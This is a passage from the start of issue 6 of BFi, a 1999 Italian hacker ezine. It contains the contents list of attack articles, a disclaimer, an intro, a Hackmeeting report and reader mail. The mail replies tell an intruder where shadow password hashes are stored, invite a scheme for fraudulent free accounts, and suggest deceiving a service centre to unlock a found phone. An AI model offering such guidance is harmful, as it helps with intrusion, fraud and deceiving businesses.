============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ BUTCHERED ]---[ FR0M ]---[ iNSiDE ]--------------------- J$$$$$$$. $$$$$$$$ $$ $$ J$% d$" d$" d$beeee$" .$$eeee .$P .$$""""$$. $$""""" $$" d$" $$ .$P .$P .$$$$$$$*" e$- $$ e$ $$ z$- """"""" ^" ^"" ^" ^"" ^" hACKMEETiNG 1999 EDiTi0N ---------------------[ BUTCHERED ]---[ FR0M ]---[ iNSiDE ]-------------------- ------------------[ NUMER0 6 ]---[ ANN0 2 ]---[ GiUGN0 1999 ]----------------- [ iNDiCE ]==================================================================== ---[ iNTR0 ]------------------------------------------------------------------ ------[ 01 ]------------------------------------------------------[ \sPIRIT\ ] ---[ C0LUMNS ]---------------------------------------------------------------- ------[ NEWS ]---------------------------------------------------[ |TSuNaMi| ] ------[ MAiL-B0X ]------------------------------------------------[ \sPIRIT\ ] ---[ HACKiNG ]---------------------------------------------------------------- ------[ SCRiVERE DELLE SHARED LiBRARiES ]---------------------------[ pIGpEN ] ------[ VULNERABiLiTA' di RPCBiND ]---------------------------------[ pIGpEN ] ------[ COME MASTURBARE LE RPC E OTTENERE UNA BACKDOOR ]------------[ pIGpEN ] ------[ iNFORMiX DYNAMIC SERVER BUG ]-------------------------------[ pIGpEN ] ------[ VULNERABLE WU-FTP SCANNER ]-------------------------------[ del0rean ] ------[ DNS/BiND SP00FiNG FAQ AND PRATiCAL USES ]----------------[ ValV0liN3 ] ------[ BUFFER 0VERFL0WS ]---------------------------------------[ SirCondor ] ------[ SYSL0GD TR0JAN ]-----------------------------------------[ bELFaghor ] ------[ XTH0T v.1.0 ]------------------------------------------------[ FuSyS ] ------[ PR0GETT0 0N0S3NDAi - PARTE II ]------------------------------[ FuSyS ] ------[ D0S VARi: iDEE A F0ND0 PERDUT0 ]------------------[ |scacco| & FuSyS ] ---[ PHREAKiNG ]-------------------------------------------------------------- ------[ TELEF0NiA FiSSA, LEGGENDE E VERiTA' ]--------------------[ ValV0liN3 ] ------[ GSM PH0NES F0R FUN AND PR0FiT ]--------------------------[ ValV0liN3 ] ------[ WAR DiALER PER LiNUX ]--------------------------------------[ pIGpEN ] ---[ ViRii ]------------------------------------------------------------------ ------[ B00T SECT0R E B00T SECT0R ViRUSES ]---------------------------[ b0z0 ] ---[ MiSCELLANE0US ]---------------------------------------------------------- ------[ CRiTT0SiSTEMi A CHiAVE PUBBLiCA : [DH76] & RSA ]----------[ del0rean ] ------[ EGGDR0P ]--------------------------------------------------[ -JoKeR- ] ------[ ECHEL0N ]-----------------------------------------------------[ DoLD ] ------[ AN0NiMiZZARE i SiSTEMi UNiX (traduzione) ]----------------[ Blinking ] ------[ C0ME C0STRUiRE LA TASTiERA DEL TECN0SCiAMAN0 ]--------------[ pIGpEN ] ------[ EMERGENZA BREVETTi ]-----------------------------------[ C. Gubitosa ] ---[ 0UTR0 ]------------------------------------------------------------------ ------[ TEMPLE 0V PSYCHiCK Y0UTH ]----------------------------------[ pIGpEN ] [ E0F ]======================================================================= [ DiSCLAiMER ]---------------------------------------------------------------- Tutto il materiale contenuto in BFi ha fini eslusivamente informativi ed educativi. Gli autori di BFi non si riterranno in alcun modo responsabili per danni perpetrati a cose o persone causati dall'uso di codice, programmi, informazioni, tecniche contenuti all'interno della rivista. BFi e' libero e autonomo mezzo di espressione; come noi autori siamo liberi di scrivere BFi, tu sei libero di continuare a leggere oppure di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, * interrompi immediatamente la lettura e cancella questo file dal tuo computer * . Proseguendo tu, lettore, ti assumi ogni genere di responsabilita' per l'uso che farai delle informazioni contenute in BFi. Si vieta il posting di BFi in newsgroup e la diffusione di *parti* della rivista: distribuite BFi nella sua forma integrale ed originale. Alla luce degli ultimi avvenimenti politici e sociali, lo staff di Butchered From Inside si dissocia da qualunque gruppo o azione di stampo eversivo. ------------------------------------------------------------------------------ ============================================================================== -----------------------------------[ iNTR0 ]---------------------------------- ============================================================================== ------------------------------------[ 01 ]------------------------------------ ---------------------------------[ \sPIRIT\ ]--------------------------------- Bieffeaisei, annoduenumerodue, il vostro computer in questo momento e' proprieta' del primo vagito della rinascita di questa ezine, ma non abbiate paura, vi verra' restituito. Sono tempi duri, e come dice il famoso detto, quando il gioco si fa duro i duri iniziano a giocare. Come commentavo nella colonna di etica dello scorso numero, c'e' stato negli ultimi tempi un proliferare notevole di zines underground. Netrunners degli Spippolatori (www.spippolatori.com) al momento in cui leggerete questa intro dovrebbe essere arrivata al numero sette, e' uscito da poco l terzo numero di NewBies, e' nata Vana Imago, morta Under Construction, sempre sulla cresta dell'onda il Cookbook degli SpaghettiPhreakers. Noi siamo arrivati al numero sei piu' quattro speciali (bEACH f0R iNSANES 99 e' disponibile ORA sul vostro mirror di fiducia e servira' a rallegrare ulteriormente le consuete pazzie estive), e dopo aver riletto attentamente tutto cio' che abbiamo scritto fin'ora abbiamo delineato le imperfezioni e le lacune, e siamo psicologicamente pronti a nuove deliranti dichiarazione teknosciamaniche e a proseguire nella costante ricerca di tecniche nuove. Avanti coi tempi, che e' ora, avanti con la tecnologia (lo dimostra il fatto che sto scrivendo questa intro in treno diretto verso Rimini, complice un palmare), e avanti sulla strada della conoscenza, cercando di essere come il buon vino, che invecchiando migliora. La rete e' la' fuori, Matrix esiste, e noi col vostro aiuto siamo Morpheus alla ricerca dell'Eletto (o degli Eletti). La cosa divertente e' che in questo momento il bambino seduto al mio fianco e' tutto impegnato a giocare con le macchinine: il problema e' che non le sta ne' piegando ne' facendole fluttuare nell'aria, e non me la sento di dirgli che le sue macchinine non esistono. E' vero che a volte la voglia di sapere ci frega, da noi i cattivi non vestono di nero ma di blu, ma dobbiamo andare avanti a curiosare, a sezionare e ricostruire ogni singolo pacchetto che viaggia per il network, magari con una personalissima Trinity a fianco, per sfatare il mito dello smanettone soltario e, se avete presente la connotazone data comunemente al termine, nerd. L'importante appunto e' avere la guida giusta, e per chi volesse collaborare, ESSERE la guida, ed e' seguendo questo principio che Butchered From Inside si orientera' sempre piu' verso una veste tecnica e di studio approfondito. Spiacente per gli "scr1pt k1dd1es", ma per seguirci d'ora in poi sara' necessario correre. Overclockatevi il cervello (in senso figurato, si intende) e provate a pensare se e' vero, come scritto nell'intro del primo numero, che una volta iniettata nella fibra ottica una dose di BFi, non sia piu' possibile farne a meno... In conclusione, se il primo Butchered From Inside ora e' preistoria, e quello che avete fra le mani e' un momento di transizione, ora siamo perfettamente configurati per exploitare il millennium bug: nell'attesa del ventunesimo secolo esercitatevi col Social Engineering, e preparatevi a ricevere a casa l'advisory, eccezionalmente su carta intestata BFi, e non CERT. \sPIRIT\ ============================================================================== -----------------------------------[ C0LUMNS ]-------------------------------- ============================================================================== -----------------------------------[ NEWS ]----------------------------------- ---------------------------------[ |TSuNaMi| ]-------------------------------- - HACKMEETiNG 99 : RiVELAZi0Ni L'HackIt 99 e' terminato e Dio sia ringraziato per questo. Troppe rivelazioni quest'anno e il mio cuore ha retto a stento. L'HackIt98 era passato in sordina, senz'altro peggio organizzato (gli avvinazzati sostengono che il vero glamour di quest'anno era dato dal fornitissimo, nonche' luridissimo bar interno), ma di sicuro meglio frequentato. Si potevano vedere evoluzioni da veri ek (ricordo esattamente un'installazione di win98), la sala di navigazione era raccolta ed intima (tipo forno a microonde) e il tipo che insegnava a forzare le serrature e' stato il mio mito degli ormai remoti 3 giorni del 98. Quest'anno la suddivisione in celle di navigazione era meno istruttiva. Non c'erano i confronti diretti, ma tante unita' scisse nei loro piccoli problemi quotidiani ("sta kazzo di mandrake non mi vede la skeda di rete"). Io, pero', sono stata fortunata. In una saletta poco frequentata, ho visto un tipo che si e' scrocchiato le mani alla maniera dei musicisti di piano e ha fissato intensamente il monitor. A quel punto l'ho avvicinato, con circospezione, attendendomi uno show degno della migliore scuola della scena. E sono stata premiata. Congiunte le mani alla logora tastiera ha digitato ls -al, poi ha fissato ancora piu' intensamente il monitor (che parola mia non rivelava alcunche' di interessante) ha borbottato qualcosa di incomprensibile e piu' che soddisfatto se n'e' ito. L'intera operazione e' durata circa 7 minuti. In un'altra sala a fianco di radio cybernet (dove asbesto aveva piazzato la sua mitica macchina con processore raffreddato ad acqua), proprio attaccato al picci' di alt255 (c'erano nick e foto sulla macchina, un grande!) c'era una personcina: io e i miei compagni di tour siamo rimasti ipnotizzati per qualche minuto dall'affannosa ricerca di un simbolo ascii da parte di questa personcina che, alla velocita' della luce li ha provati tutti tranne quello che cercava e alla fine, sbuffando sonoramente, si e' arreso alla tastiera, digitando l'infame | che gli occorreva per l'alchemico e sconosciutissimo comando: |more. Il pezzo forte della giornata di sabato pero', e' avvenuto in una salettina con pochissimi picci'. Gli occupanti, non sono in grado di dire se piu' stonati di me o solo piu' skazzati dalla lentezza delle rete, avevano iniziato ad accarsi fra loro. Non riuscendo nell'intento, con classe smisurata, uno ha lanciato la tastiera e ha gridato a quello che gli stava di fronte "PD!! (animale da cortile + essere trino) Dammi la maledetta password di quel kazzo di computer di merda!" :D Lateralmente a queste altissime esibizioni tecniche, si consumavano drammi. Abbiamo rischiato di perdere uno dei piu' grandi cracker italiani. Ebbene si, xOANON stava andando a fuoco. Scure volute di fumo e scintillanti braci si levavano dai suoi pantaloni nella fonda notte di venerdi'. E solo il suo grido disperato "Aiutatemi kazzo sto andando a fuoco! E non ridete PD" (difficile non farlo, ad essere sinceri) ha reso possibile l'intervento del solerte e sempre vigile SpaceOne che l'ha estinto con un secchio (o bottiglia, secondo le versioni e il livello di oppio nel sangue) d'acqua. Triste, sconsolato e molto umido, xOA si e' poi fissato quello che restava del suo portamartello (fibbietta laterale dei pantaloni USUALMENTE utilizzati da lavoratori) commentando "PD! Adesso mia mamma m'inkula che ho rovinato i pantaloni". xOA, se vuoi testimoniamo tutti che non era colpa tua, e' stato sicuramente un avvenimento fraudolento :)) In compenso, l'HackIt99 ha visto uno skieramento di figa superiore alle aspettative. Esseri femminili mutoidi (di accompagno a bipedi maschili acefali) si aggiravano con sguardo greve per il Bulk. La sporadica apparizione di ragazze *vere* non ha comunque sortito alcun effetto sui drogati di ek, (\sPIRIT\, kristo, stacca ogni tanto la tua retina dal monitor se no poi ci chiediamo come kazzo hai fatto a scrivere l'articolo sull'"hacking girls") anche se qualche esito in effetti l'hanno sortito (non quello desiderato pero', sorry). Se la diciamo proprio tutta, la scena ha subito un crollo (e consideratevi fortunati se non siete tra i *maestri* di cui ho parlato sopra). Raul (si', si', quel Raul) e i suoi, presenti se non attentissimi, hanno tenuto alta la concentrazione di gas fumosi del 4o tipo (ma in questo non si sono certo distinti) e il grande saggio del CCC pubblicizzava amorevolmente la manifestazione che si terra' a Berlino il 6/7/8 agosto con l'ingresso alla modica cifra di 150k. Le magliette sono sempre poche. La rete e' sempre troppo lenta. I mac avanzano (deliziosi il padre e figlio con IMAC viola e verde che mi hanno stoppato, quando ho tentato di impossessarmi di quello viola e ho lanciato Ircle, dicendo "Non puoi chattare col nick di mio padre" e io "ho forse la faccia di una che intendeva farlo?"). Le sostanze stupefacenti e la birra non bastano mai. Felice di aver conosciuto chi non conoscevo, triste per chi c'era e adesso non c'e' piu' concludo riportando uno stralcio di conversazione: X parlando dell'hackit al tavolo di un ristorante chiede a Y "Ma dall'hackit si esce?" (intendendo la rete) e Y ha risposto "Be' si', puoi fare quello che vuoi, ma ad un certo punto della notte chiudono" (intendendo il portone del Bulk). Complimenti ragazzi :)) |TSuNaMi| ----------------------------------[ MAiL-B0X ]-------------------------------- ----------------------------------[ \sPIRIT\ ]-------------------------------- Anche stavolta, che vi piaccia o meno, siamo arrivati alle vostre email. Siccome il pc del Cavalluccio marino si e' recentemente inabissato a mo' del Titanic, stavolta tocca a me gestire la baracca e cercare di darvi risposte piu' o meno sensate. Come al solito la cosa viene fatta con un ritardo spaventoso... ma ormai e' il nostro stile, aperiodico e teknosciamanico (grande pIG :) Buona lettura. --- [1] "BFI" da Pasquito > Continuo a perdervi; e' dura la vita per i siti Hac... Mandatemi la > nuova collocazione please. Piu' della meta' delle mail che abbiamo ricevuto dopo la pubblicazione del numero 5 di Butchered From Inside chiedevano proprio dove mai fossimo finiti. Non e' vero che la vita per i siti hack e' dura, almeno non per il nostro, ci sono solo stati svariati problemi tecnici dopo la chiusura di bbk.org . In ogni caso Butchered From Inside e' ora reperibile stabilmente ai seguenti URL: http://www.olografix.org/s0ftpj/bfi [Main site - temporaneo] http://www.ecn.org/zero/bfi [ITALY Mirror #1] http://bfi.voyanet.org [ITALY Mirror #2] http://www.mondopc.com/bfi [USA Mirror #1] Inoltre ci e' stato riportato che parecchi siti sparsi per il globo rendono disponibili i numeri di BFi per il download diretto, sia in formato compresso che solo testo (e quindi privo dei files inclusi). Non garantiamo l'integrita' della ezine presente su questi siti, ma rispondiamo solo dei mirror ufficiali. Per quanto riguarda invece il s0ftpr0ject 99, il sito ufficiale e' temporaneamente in hosting a http://www.olografix.org/s0ftpj, e nel momento in cui leggerete ci sono buone probabilita' che il dominio www.s0ftpj.org sia gia' attivo. > Una domanda: se entrando in un sito e scaricando la famosa passwd mi > ritrovo un file con pass shadow dov'e' il posto migliore per andarle a > cercare se anche la ypcat non funzia ?. Dipende dal sistema operativo. Su linux ad esempio le password shadow sono contenute nel file /etc/shadow. Pero' il file, ovunque esso sia, non ha mai permesso di lettura per gli utenti, quindi devi essere necessariamente root --- [2] "Commenti" da Dr.Shade > Salve ragazzi questa e-mail e' diretta esclusivamente a > /spiriT/ > quindi spero che possiate far giungere tale e-mail a lui. Come puoi vedere, Dr.Shade, la mail e' arrivata, anche se a un mesetto buono dall'uscita di BFi 5. Anche se e' diretta esclusivamente a me, come scrivi, mi sento di dover dare una risposta pubblica (che con ogni probabilita' state leggendo su BFi 6), per alcuni chiarimenti che potrebbero non interessare solo a te. In ogni caso, il mio nick e' \sPIRIT\, c'e' qualcuno che non lo sbaglia? :) > Ciao SpiriT tempo fa , io ho scaricato il il file contenente la Bfi5. > una volta scommpattato il file, ho cominciato subito ha lggerla, > ma prima , come tutte le volte ho dato un'occhiata rapida > agli articoli, notando che il tuo unico articolo per la bfi5 > era "ETICA"... Scusa se te lo dico, ma hai un concetto molto strano di "leggere", giusto perche' a quanto pare ti sei perso quei 43k (e corrispondenti 940 righe circa) di articolo sul NetRaider Project, con allegato 190k di zip contenente i sorgenti, che mi sono costati ben piu' che la fatica di scrivere quello che potrebbe sembrare un flame impietoso... > Ho apprezzato molto , il modo in cui TU hai > parlato male della mia IHC e dei miei amici Newbies, complimenti. > Insomma molti si aspettano un bel numero BFI , e il tuo unico > articolo > e' di critica Verso, chi cerca di immparare , verso chi cerca di > scoprire??? Allora... premesso che sono in OTTIMI rapporti con lo staff di NewBies (e puoi chiedere conferma a ZeroCool e N0body88), anche e soprattutto dopo l'articolo di etica (che hanno considerato critica estremamente costruttiva), mi prendo la liberta' di citare le poche righe in cui nominavo l'IHC: Eccole qui, pure e semplici estratte da BFi 5. Tralasciando che non so come mi sono trovato nella lista dei collaboratori senza averne merito alcuno, io non mi sento assolutamente "in colpa" (le virgolette sono d'obbligo) per cio' che ho scritto, ne ero convinto prima e lo sono ancora adesso. Non ho assolutamente nulla contro chi cerca di imparare e scoprire, e mi sembra di averlo detto chiaramente nello stesso articolo di etica che tu indichi come infamante: Non so come tu abbia interpretato questa frase, ma a me suonava come un invito a migliorare sempre di piu', ed era diretto a tutti, indipendentemente, noi compresi. Rifacendomi sempre al discorso NetRaider Project, mi e' costato, se di costo si puo' parlare, due settimane di sviluppo, per 12 ore al giorno. Ero in un periodo di transizione fra l'universita' e il lavoro e avevo tempo da dedicare, ora lavorando 9 ore al giorno non potrei farlo, ma cerco lo stesso di portare avanti le mie idee. Posso capire che la faccenda della risata riguardo ai tools possa aver dato fastidio per il modo in cui era stata esposta, ma volendo giudicare OBIETTIVAMENTE, cose come un nag killer (gia' visto in milioni di salse) e un programma per calcolare la media di battiture al minuto ce le si puo' risparmiare. Che abbia in odio il Visual Basic poi e' un'altro paio di maniche, sara' che programmo da anni e resto un affezionato dell'assembly e della programmazione super-ottimizzata... ma sono vizi personali, insisto. Ribadisco inoltre la questione dell' "unico articolo"... non hai letto bene, forse... > Riconosco che non tutti possono essere alla tua > altezza, > ne al pari dei tuoi amici di BFI, ma quello che ho provato leggendo il > tuo articolo, non posso e non riesco a comunicartelo , insomma > TU sei Bravo ma ricordati che la fuori, ci sono persone anche piu' > brave di TE, e loro non giudicano come fai tu.!!! Altra citazione: <"tu sei sPIRIT di BFi!!"... oooooooohhh stupore. La cosa non darebbe fastidio, se non che un 50% di questi leccano il culo e il restante 50% tirano merda dopo pochi minuti dandosi arie, e mi chiedo se le iniezioni di anidride carbonica a 'sta gente le abbia prescritte il medico o sia una iniziativa personale. Insomma, il liscio, il gasato, il Ferrarelle. Che ho fatto di straodinario nella mia carriera, a parte farmi i cazzi miei e cercare di tirare fuori qualcosa di nuovo? "Voi siete dei guru!" - no comment, mi pare che nessuno di noi si chiami John Draper.> Di solito i cazzi miei me li faccio, ho cercato di dare una visione d'insieme della situazione, anche se, lo ammetto, ho dimenticato per ignoranza di citare gruppi e persone. La mia non voleva essere la presa di posizione di uno che si sente "nell'elite" (che dal mio punto di vista non esiste), quanto semplicemente l'opinione di qualcuno che qualcosa ha visto, e cerca di fare critica costruttiva. Tanto per restare in tema, uno di quelli che dopo i primi 20 secondi di query hanno spalato merda a badili proclamandosi re del mondo e' uno dei vostri, o che almeno si e' spacciato per uno dei vostri. Non ho potuto controllare sulla pagina (il nick era LeoMar) perche' oggi, 12.4.99, ho trovato tutto offline (e spero che non sia per le voci che mi sono arrivate a riguardo di Cyrus e certe shell .gov, che non e' certo piacevole). > Sara' anche vero che molti ti lecchranno il culo, ma non > ti scordare che nella vita sarai anche tu costretto a leccare il cuolo, > ma non ti viene in mente che quel 50% vuole magari anche solo la > tua > amicizia , e di hacking non gli immporta niente? e di quel 50% > che resta, fanno parte tutti coloro , che da te si aspettano qual'cosa > di meglio che delle critiche (IO commpreso). Insisto sul discorso Netraider, che sembra tu ti sia perso... e magari anche accenno allo sWEETM+NT sul numero 4 di BFi e seguenti updates sul sito (di cui sono, fra parentesi, gestore e disegnatore...). Il mio compito non e' quello dell'opinionista, ma del resto tutti hanno diritto di esprimere un proprio parere, non trovi? > Ma cosa hai contro chi vuole emergere? chi vuole immparare? Assolutamente nulla, e mi pare di essermi gia' espresso in proposito. > Io ho tempo fa ho fatto un piccolo sondaggio. > ho chiesto , secondo loro l'andamento della BFI > ne e' risultato che dopo il 3 Numero molti avevano perso > la fiducia e l'apprezzamento verso tale rivista > molti paragonano il numero 4 e 5 con la newbies2 dicendo > che non c'e' paragone... Se proprio vuoi sapere l'opinione interna dello staff di bFI a riguardo dei primi tre numeri, tutti quelli che ho consultato si sono trovati d'accordo a definirli per certi versi "quasi ridicoli". E' come per il vino, col tempo si migliora, e i numeri 4 e 5 dal nostro punto di vista sono un gran passo avanti. Lungi da noi in ogni caso considerarli perfetti o una bibbia. Se si vuole fare un paragone con NewBies 2 non c'e' niente di meglio che chiedere direttamemnte il parere di chi ha creato l'e-zine, cioe' N0body88 e ZeroCool, cosa che ho fatto gia' tempo fa. Le due pubblicazioni si rimandano ad un target decisamente diverso, non e' possibile fare confronti. BFi non e' una zine facile, ma e' voluta cosi', perche' nessuno di noi, fin dalla sua creazione, ha mai voluto scrivere su materiale gia' esistente e reperibile (tranne qualche peccatuccio sui primi tre numeri, ma si sa', l'inizio e' duro per tutti). BFi non e' stata pensata per incontrare il favore di tutti, ma per portare avanti uno studio, un passo alla volta, e non e' proprieta' privata, chiunque puo' partecipare, fermo restando che ci sono certi requisiti da soddisfare, proprio perche' c'e' l'impegno di mantenere certi standard qualitativi. Se all'indomani di questa mia risposta uscisse una nuova e-zine dai contenuti all'avanguardia, non potremmo che essere contenti per la spinta che darebbe alla scena italiana, a cui partecipiamo col cuore. Ma sarebbe anche uno stimolo a migliorare sempre di piu'. Il mio articolo di etica su BFi 5 era palesemente una provocazione, c'e' chi l'ha raccolta in modo costruttivo (vedi lo staff di NewBies e i passi avanti che hanno fatto, ho delle anteprime del terzo numero ed e' decisamente ammirevole, vedi gli Spaghettiphreakers e la risposta pubblica di CDP sulla loro homepage, che ho letto qualche giorno fa), e c'e' chi invece si e' limitato a criticare. > IO CREDO che la BFI sia una Zine seria e professionale > ma le critiche SPIRIT??? Le critiche fanno parte del sistema. Aiutano a migliorarsi, o almeno questo e' l'atteggiamento che ho sempre tenuto verso di esse. Quelle espresse erano opinioni mie, solo mie, ci tengo a sottolinearlo. Ma tengo anche a sottolineare, come ho gia' detto, che non mi pento di quello che ho scritto. > tutti siamo bravi a criticare..... Se posso leggere tra le righe, la frase parrebbe potersi concludere con un "... ma quando si tratta di costruire?". L'abbiamo fatto, lo stiamo facendo tutt'ora e continueremo a farlo. > la prossima volta sarebbe meglio parlarne prima di scrivere! BFi non deve limitarsi a dare pure informazioni tecniche, almeno nell'idea che mi sono fatto della pubblicazione. Ho sempre visto la zine come un punto d'incontro, un forum di discussione. Le considerazioni, i dibattiti, gli scambi di idee, possono, anzi devono, passare in questa sede. L'invito e' stato lanciato piu' volte, mi domando solo perche' nessuno abbia mai risposto all'appello... Questo e' quanto, non ho nulla da aggiungere. --- [3] "no subject" da BeRsErKeR+HeWaRRioR > ciao ho scoperto la vostra rivista un paio di giorni fa (tnx Norby per > avermela passata) e mi e' piaciuta molto =) Grazie :) I complimenti fanno sempre piacere. > ho letto che vi lamentavate del costo degli abbonamenti (ora non ricordo > in che numero). anch'io avevo lo stessi problema perche' con l'abb ISDN, > l'avevo fatto solo per 200 ore Xche' costa un casino, e in un paio di > mesi ne avevo consumato la meta' :( Il problema del costo degli abbonamenti continua ad essere molto grave, seppur secondario a quello del costo delle chiamate. (anzi, e' di questi giorni la conferma che Telecom attuera' un aumento del canone di 1200 lire, che le chiamate interurbane diminuiscono del 6% quelle internazionali di circa il 5%, mentre a luglio si passera' dalla TUT alla TAT (tariffazione a secondi). Che sia un bene francamente non lo so'...) Il fatto e' che Telecom Italia Net, potendo puntare su una diffusione capillare del servizio (seppur a mio avviso pessimo), puo' praticare prezzi piu' o meno stracciati a danno dei piccoli e medi providers, che si trovano a dover far fronte ad un gigante da migliaia di utenti che fonda le radici sulla struttura telefonica di Telecom e Interbusiness praticamente a costo zero, con conseguente abbattimento dei costi di abbonamento. Gli abbonamenti ISDN restano piuttosto costosi, in virtu' del fatto che il servizio non ha ancora avuto la diffusione che Telecom sperava, ma per TIN si parla comunque di un costo del 50% rispetto a quanto segna in listino un provider come Nettuno (che pur si appoggia sul Cineca). > allora mi ho pensato una tecnica (+ o - > cioe' e' una cazzata =) cmq sono in grado di fare account che durano + o - > 3 mesi completamente gratuiti. questa tecnica l'ho gia' provata un po' di > volte ( insieme a degli amici ne abbiamo fatto + o - una decina) e non mi > hanno fatto niente cioe' dopo che se ne accorgono te lo tolgono e basta > non fanno un cazzo. <...> Sarebbe interessante avere piu' informazioni a riguardo, e quindi ti invito ad inviarci le informazioni al nostro indirizzo di email, che ora e' bfi@voyanet.org Una nota: se in tutto il procedimento centrano in qualche modo i numeri verdi, o green a dir si voglia, tieniti il tuo procedimento ed evita di informarci. Credo che ormai l'avversione dello staff di BFi per i numeri verdi sia piuttosto evidente e risaputa... > BeRsErKeR+HeWaRRioR > P.S > in sardegna e nella zona di milano e roma non serve + Xche' c'e' > tiscalinet ceh fa abbonamenti gratis ( pure quelli ISND) e vanno anche + > veloci di quelli Telekom (per l'ISDN e' quasi il doppio =) Infatti aspettiamo tutti che Tiscali allarghi il servizio anche al resto d'Italia heheheheh :) --- [4] "Non ci fate fare brutte figure!!!" da Shocker > Ciao Cavallo, non capisco perche' "tutte le lettere" che vi arrivano > dobbiate pubblicarle!!! Cavallo e' momentaneamente indisposto, ma lo sostituisco io. A parte il fatto che non e' vero che tutte le mail vengono pubblicate, quelle che vengono messe sulla zine rappresentano qualcosa, in positivo o in negativo. Inoltre non ci e' materialmente possibile rispondere privatamente, per questioni di tempo. Basti pensare al ritardo che ogni numero di BFi accumula dall'annuncio dell'uscita all'uscita effettiva... > Ad esempio quella lettera "SunRise Corporation", curata da un nostro > membro di cui ora non sto' a fare nomi perche' non mi piace sputtanare > la gente. Gli era stato dato l'incarico di fare un po' di pubblicita' > del sito insomma bastava che scriveva ("cazzo, andate a sto' sito e vedete > se ve piace http://sunrise.tsx.org"), e non tutte quelle cazzate, del tipo: > "c'e' un problema tecnico del server..." Non e' un nostro errore. Mi spiego: l'url che ci e' stato riportato era http://members.it.tripod.de/SunRise/index.html, con tanto di maiuscole e minuscole, e a prescindere dal fatto che chi avesse voluto visitarlo l'avrebbe fatto senza badare ai nostri commenti, non e' uso della redazione di Butchered From Inside di fare pubblicita'. Quella del "problema tecnico del server..." e' vostra. > Ok, ha fatto degli sbagli, ma non mi sembra giusto sputtanare tutti cosi', > io quando ho scaricato la rivista dal vostro sito ci sono rimasto malissimo, > come tutti quelli che si occupano della SunRise, scommetto che tutte le > persone che hanno letto bfi5, siano andati prima sul sito e poi abbiano > detto: Ah, che lamer !!! e se ne siano andati soltanto perche' una persona > non tanto esperta si e' permessa di fare qualche errore. C'e' una certa tendenza diffusa a vedere BFi come una "bibbia" dell'underground italiano (vedi la mail di Dr.Shade poche righe sopra), quando nessuno di noi ha intenzione di montarsi la testa e proclamare un unico "Verbo" a cui tutti devono mantenersi. La liberta' di ognuno e' appunto nel poter giudicare cio' che viene scritto, e Cavallo nella sua risposta si e' limitato a sottolineare un errore decisamente grossolano, in cui chi si proclama hacker a gran voce non puo' cadere, e cioe' il fatto che gli unix siano case-sensitive. Non e' nostra intenzione "sputtanare" nessuno di proposito, ne' lanciarci in inutili e poco costruttive flame wars. Cerchiamo semplicemente di essere obiettivi verso quello che oggi come oggi e' l'underground italiano. E' ammissibile per tutti che qualcuno all'inizio faccia degli errori, li abbiamo fatti anche noi e continuiamo a farli, pero' il pretendere che non vengano fatti notare e' un po' troppo. Forse Cavallo poteva usare un altro tono, questo e' vero, ma credo che nessuno vi avra' giudicato degli incapaci solo da quella risposta. Chi l'ha fatto e' privo di senso critico, e non sta' a noi rimediare a questi atteggiamenti. <...> > Scusate lo sfogo ma l'ho ritenuto necessario. Un saluto a tutti Un saluto anche a te, spero che la questione sia chiarita. --- [5] "Insomma ke stiamo aspettando???" da mR_bIs0n <...> > Vi ho scritto per dirvi una cosa semplice, riguardo gli articoli su quei > coglioni ke pensano di essere i salvatori della Rete (eduardo freni & > company), e cioe' cosa stiamo aspettando, dobbiamo farci sputtanare ancora > da quei coglionazzi? Non e' necessario. Qualunque persona sana di mente ha gia' sufficientemente tratto le proprie conclusioni in merito. Nessuno di quelli che conosco ha mai dato credito a gente del genere. > Il sito di Eduardo Freni e' effitivamente down, e non e' ke lui e' molto > preso dal lavoro... Cmq, il sito della banda dei mentecatti e' ancora vivo > e noi dovremo fare qualcosa per tenere alto il nome degli Hackers > Italiani. Il sito di Eduardo Freni e' stato down, poi e' stato rimesso online dallo stesso con chiara dissociazione dai malati del "Timone". Da quanto ne so' nessuno ha attaccato il sito che tiene in hosting le pagine di Eduardo Freni, e lo stesso si e' mostrato una persona civile, riconoscendo i propri errori dopo essere stato direttamente contattato. Quella del "Timone" e' un'altro paio di maniche... l'opinione che ci siamo fatti e' che in fin dei conti siano dei semplici provocatori che si aspettano qualche reazione per poter gongolare prendendo provvedimenti adeguati. Concordo con te sul fatto che siano una "banda di mentecatti", ma c'e' gia' un sacco di gente che li cerca, Cert-it compreso, e non vedo perche' degnarli di ulteriore attenzione. Da parte nostra il discorso a loro riguardo e' chiuso. > Bene io ho dei progettini sfiziosi... > > -1 Dovremmo hackerarli la pagina, magari con i testi non modificati, ma > con delle nostre parentesi, come c'e' nella rivista. Magari ci cambiamo > la pass e l'user cosi' i poveracci dovranno rifarsi un nuovo sito... E stare cosi' al loro gioco? A parte che voglio vederti a bucare una pagina su Geocities... E' inutile reagire alle loro provocazioni in questo modo, si fornirebbero soltanto le prove per vedere scritto su un loro nuovo sito frasi tipo: "Ve l'avevamo detto...". La categoria dell'underground italiano e' gia' abbastanza demonizzata dai media, sebbene col recente HackMeeting la cosa ha preso una piega piuttosto positiva, non serve gettare altra carne al fuoco. > -2 EHEHEH... si potrebbe fuckare il sito, creandone uno molto simile al > loro ma che pero' sputtani loro e nno gli hackers!!! Magari mettendoci > qualche nota qua e la e qualche immagine... Esiste gia', e' stato fatto da Valvoline, e lo trovi a http://welcome.to/iltimone Non so' se e' ancora online o se sia stato aggiornato, mi preoccupero' di controllare. --- [6] "BFI" da Alex > Ho trovato per terra un cellulare Panasonic G500 senza sim. Dopo averlo > caricato ho inserito una SIM, lo ho acceso e compariva la scritta BLOCCO > TOTALE DEL TELEFONO. Essendo il blocco del telefono e non della SIM c'e' > un modo per sbloccarlo? Anche connettendolo al PC o con qualche codice > speciale che permette di entrare nei menu' di riprogrammazione. Esiste un > sito (in Italiano possibilmente) che tratta di queste cose? L'unico modo possibile per sbloccarlo e', come dici appunto tu, connetterlo al pc ed effettuare una riprogrammazione della eeprom del cellulare, con i programmi appositi. Purtroppo questi programmi non sono certo di facile reperiblita'. Ti consiglio di rivolgerti ad un centro assistenza Panasonic e di raccontargli la classica storiella con faccia da angelo. Loro hanno tutto il necessario per effettuare lo sblocco, e dopo aver provato cosette simili con cellulari Motorola e relativi centri assistenza, posso dire che solitamente si fidano della buona fede delle persone :) I siti in italiano purtroppo scarseggiano, e comunque sono molto meno completi di quelli in inglese. Ti consiglio di dare un'occhiata a http://come.to/spaghettiphreakers, e di visitare 